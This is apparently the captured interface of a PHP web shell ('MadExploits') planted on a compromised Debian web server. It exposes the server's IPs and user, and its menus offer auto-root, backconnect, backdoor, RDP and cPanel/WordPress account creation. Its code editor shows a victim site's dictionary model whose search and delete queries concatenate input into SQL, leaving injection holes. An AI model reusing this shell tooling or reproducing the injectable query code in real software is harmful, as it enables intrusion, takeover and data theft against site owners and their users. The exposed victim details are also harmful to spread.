Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.142.135.24
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
leksykografia /
application /
models /
[ HOME SHELL ]
Name
Size
Permission
Action
DbTable
[ DIR ]
drwxr-xr-x
Dictionary.php
8.75
KB
-rw-r--r--
DictionaryBackground.php
2.74
KB
-rw-r--r--
DictionaryBackgroundMapper.php
2.87
KB
-rw-r--r--
DictionaryMapper.php
7.44
KB
-rw-r--r--
DictionaryType.php
1.85
KB
-rw-r--r--
DictionaryTypeMapper.php
1.81
KB
-rw-r--r--
DictionaryVocabularyRange.php
1.99
KB
-rw-r--r--
DictionaryVocabularyRangeDict....
1.87
KB
-rw-r--r--
DictionaryVocabularyRangeDictM...
2.12
KB
-rw-r--r--
DictionaryVocabularyRangeMappe...
2.24
KB
-rw-r--r--
Gallery.php
1.67
KB
-rw-r--r--
GalleryMapper.php
1.17
KB
-rw-r--r--
GalleryPhoto.php
1.68
KB
-rw-r--r--
GalleryPhotoMapper.php
1.14
KB
-rw-r--r--
Partner.php
2.27
KB
-rw-r--r--
PartnerMapper.php
2.24
KB
-rw-r--r--
PartnerType.php
1.56
KB
-rw-r--r--
PartnerTypeMapper.php
1.16
KB
-rw-r--r--
Product.php
6.21
KB
-rw-r--r--
ProductCategories.php
1.76
KB
-rw-r--r--
ProductCategoriesMapper.php
2.38
KB
-rw-r--r--
ProductCategory.php
1.57
KB
-rw-r--r--
ProductCategoryMapper.php
1.59
KB
-rw-r--r--
ProductMapper.php
8.2
KB
-rw-r--r--
ProductPartner.php
2.46
KB
-rw-r--r--
ProductPartnerMapper.php
2.51
KB
-rw-r--r--
ProductPartners.php
1.96
KB
-rw-r--r--
ProductPartnersMapper.php
2.57
KB
-rw-r--r--
ProductRegister.php
5.11
KB
-rw-r--r--
ProductRegisterMapper.php
8.65
KB
-rw-r--r--
ProductRegisterUser.php
3.19
KB
-rw-r--r--
ProductRegisterUserMapper.php
6.79
KB
-rw-r--r--
ProductRegisterUserSession.php
1.97
KB
-rw-r--r--
ProductRegisterUserSessionMapp...
6.13
KB
-rw-r--r--
ProductSpeaker.php
3.11
KB
-rw-r--r--
ProductSpeakerMapper.php
3.51
KB
-rw-r--r--
ProductType.php
2.25
KB
-rw-r--r--
ProductTypeMapper.php
1.81
KB
-rw-r--r--
Static.php
1.92
KB
-rw-r--r--
StaticMapper.php
1.78
KB
-rw-r--r--
Vote.php
2.88
KB
-rw-r--r--
VoteMapper.php
2.96
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DictionaryMapper.php
<?php class Application_Model_DictionaryMapper { protected $_dbTable; public function setDbTable($dbTable) { if (is_string($dbTable)) { $dbTable = new $dbTable(); } if (!$dbTable instanceof Zend_Db_Table_Abstract) { throw new Exception('Invalid table data gateway provided'); } $this->_dbTable = $dbTable; return $this; } public function getDbTable() { if (null === $this->_dbTable) { $this->setDbTable('Application_Model_DbTable_Dictionary'); } return $this->_dbTable; } public function save(Application_Model_Dictionary $dictionary) { $data = array( 'active' => $dictionary->active, 'title' => $dictionary->title, 'slug' => $dictionary->slug, 'author' => $dictionary->author, 'author_lastname' => $dictionary->authorLastname, 'year' => $dictionary->year, 'type' => $dictionary->type, 'cover' => $dictionary->cover, 'entry_pdf' => $dictionary->entryPdf, 'entry_image' => $dictionary->entryImage, 'full_title' => $dictionary->fullTitle, 'languages' => $dictionary->languages, 'entrys_number' => $dictionary->entrysNumber, 'entrys_layout' => $dictionary->entrysLayout, 'full_author' => $dictionary->fullAuthor, 'characteristic' => $dictionary->characteristic, 'workshop_innovation' => $dictionary->workshopInnovation, 'entry_construction' => $dictionary->entryConstruction, 'others' => $dictionary->others, 'interest' => $dictionary->interest, 'issues' => $dictionary->issues, 'electronic_version' => $dictionary->electronicVersion, 'monographs' => $dictionary->monographs, 'description_author' => $dictionary->descriptionAuthor, 'consultation' => $dictionary->consultation, 'created' => date('Y-m-d H:i:s') ); if (null === ($id = $dictionary->id)) { unset($data['id']); return $this->getDbTable()->insert($data); } else { return $this->getDbTable()->update($data, array('id = ?' => $id)); } } public function delete($dictionaryId) { return $this->getDbTable()->delete('id = '.$dictionaryId); } public function find($id, Application_Model_Dictionary $dictionary) { $result = $this->getDbTable()->find($id); if (0 == count($result)) { return false; } $row = $result->current(); $dictionary->id = $row->id; $dictionary->active = $row->active; $dictionary->title = $row->title; $dictionary->slug = $row->slug; $dictionary->author = $row->author; $dictionary->authorLastname = $row->author_lastname; $dictionary->year = $row->year; $dictionary->type = $row->type; $dictionary->cover = $row->cover; $dictionary->entryPdf = $row->entry_pdf; $dictionary->entryImage = $row->entry_image; $dictionary->fullTitle = $row->full_title; $dictionary->languages = $row->languages; $dictionary->entrysNumber = $row->entrys_number; $dictionary->entrysLayout = $row->entrys_layout; $dictionary->fullAuthor = $row->full_author; $dictionary->characteristic = $row->characteristic; $dictionary->workshopInnovation = $row->workshop_innovation; $dictionary->entryConstruction = $row->entry_construction; $dictionary->others = $row->others; $dictionary->interest = $row->interest; $dictionary->issues = $row->issues; $dictionary->electronicVersion = $row->electronic_version; $dictionary->monographs = $row->monographs; $dictionary->descriptionAuthor = $row->description_author; $dictionary->consultation = $row->consultation; $dictionary->created = $row->created; return true; } public function fetchAll($options = array()) { $select = $this->getDbTable()->select(); $orderSort = false; if(!$orderSort) { $select->order('sort desc'); $orderSort = true; } if(isset($options['order'])) { foreach($options['order'] as $key => $value) { if($key == 'range') { $select->from(array('d' => 'dictionary')) ->setIntegrityCheck(false) ->joinLeft(array('dvr' => 'dictionary_vocabulary_range'), 'dvr.dictionary_id = d.id',array("vocabulary_range_id")) ->order('vocabulary_range_id asc'); } else { $type = 'asc'; if($key == 'year') $type = 'desc'; $select->order($key.' '.$type); } } } $select->order('year desc'); if(isset($options['where'])) { foreach($options['where'] as $key => $value) { if($key == 'range') { $select->from(array('d' => 'dictionary')) ->joinLeft(array('dvr' => 'dictionary_vocabulary_range'), 'dvr.dictionary_id = d.id',null) ->where('vocabulary_range_id = ?', $value); } else { $select->where("$key = ?", $value); } } } if(isset($options['search'])) { $select->where('(title LIKE "%'.$options['search'].'%"') ->orWhere('full_title LIKE "%'.$options['search'].'%"') ->orWhere('year LIKE "%'.$options['search'].'%"') ->orWhere('languages LIKE "%'.$options['search'].'%"') ->orWhere('entrys_number LIKE "%'.$options['search'].'%"') ->orWhere('entrys_layout LIKE "%'.$options['search'].'%"') ->orWhere('full_author LIKE "%'.$options['search'].'%"') ->orWhere('characteristic LIKE "%'.$options['search'].'%"') ->orWhere('workshop_innovation LIKE "%'.$options['search'].'%"') ->orWhere('entry_construction LIKE "%'.$options['search'].'%"') ->orWhere('others LIKE "%'.$options['search'].'%"') ->orWhere('interest LIKE "%'.$options['search'].'%"') ->orWhere('issues LIKE "%'.$options['search'].'%"') ->orWhere('electronic_version LIKE "%'.$options['search'].'%"') ->orWhere('monographs LIKE "%'.$options['search'].'%"') ->orWhere('description_author LIKE "%'.$options['search'].'%"') ->orWhere('consultation LIKE "%'.$options['search'].'%"') ->orWhere('author LIKE "%'.$options['search'].'%")'); } $resultSet = $this->getDbTable()->fetchAll($select); $entries = array(); foreach ($resultSet as $row) { $dictionary = new Application_Model_Dictionary(); $dictionary->id = $row->id; $dictionary->active = $row->active; $dictionary->title = $row->title; $dictionary->slug = $row->slug; $dictionary->author = $row->author; $dictionary->authorLastname = $row->author_lastname; $dictionary->year = $row->year; $dictionary->type = $row->type; $dictionary->cover = $row->cover; $dictionary->entryPdf = $row->entry_pdf; $dictionary->entryImage = $row->entry_image; $dictionary->fullTitle = $row->full_title; $dictionary->languages = $row->languages; $dictionary->entrysNumber = $row->entrys_number; $dictionary->entrysLayout = $row->entrys_layout; $dictionary->fullAuthor = $row->full_author; $dictionary->characteristic = $row->characteristic; $dictionary->workshopInnovation = $row->workshop_innovation; $dictionary->entryConstruction = $row->entry_construction; $dictionary->others = $row->others; $dictionary->interest = $row->interest; $dictionary->issues = $row->issues; $dictionary->electronicVersion = $row->electronic_version; $dictionary->monographs = $row->monographs; $dictionary->descriptionAuthor = $row->description_author; $dictionary->created = $row->created; if(isset($row->vocabulary_range_id)) $dictionary->vocabularyRangeId = $row->vocabulary_range_id; $entries[] = $dictionary; } return $entries; } }
Close